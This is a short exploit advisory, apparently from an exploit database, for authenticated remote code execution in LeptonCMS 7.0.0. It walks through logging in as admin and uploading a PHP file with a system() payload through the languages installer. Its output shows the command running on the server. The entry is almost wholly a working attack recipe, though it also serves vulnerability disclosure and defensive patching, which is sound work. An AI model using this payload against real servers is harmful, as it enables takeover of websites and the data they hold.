LeptonCMS 7.0.0 - Remote Code Execution (RCE) (Authenticated)

# Exploit Title: LeptonCMS 7.0.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2024-1-19
# Exploit Author: tmrswrr
# Category: Webapps
# Vendor Homepage: https://www.lepton-cms.com/
# Version : 7.0.0

1 ) Login with admin cred   >  https://127.0.0.1/LEPTON/backend/login/index.php
2 ) Go to Languages place   > https://127.0.0.1/LEPTON/backend/languages/index.php
3 ) Upload upgrade.php file in languages place > <?php echo system('id'); ?>
4 ) After click install you will be see result

# Result :  uid=1000(lepton) gid=1000(lepton) groups=1000(lepton) uid=1000(lepton) gid=1000(lepton) groups=1000(lepton)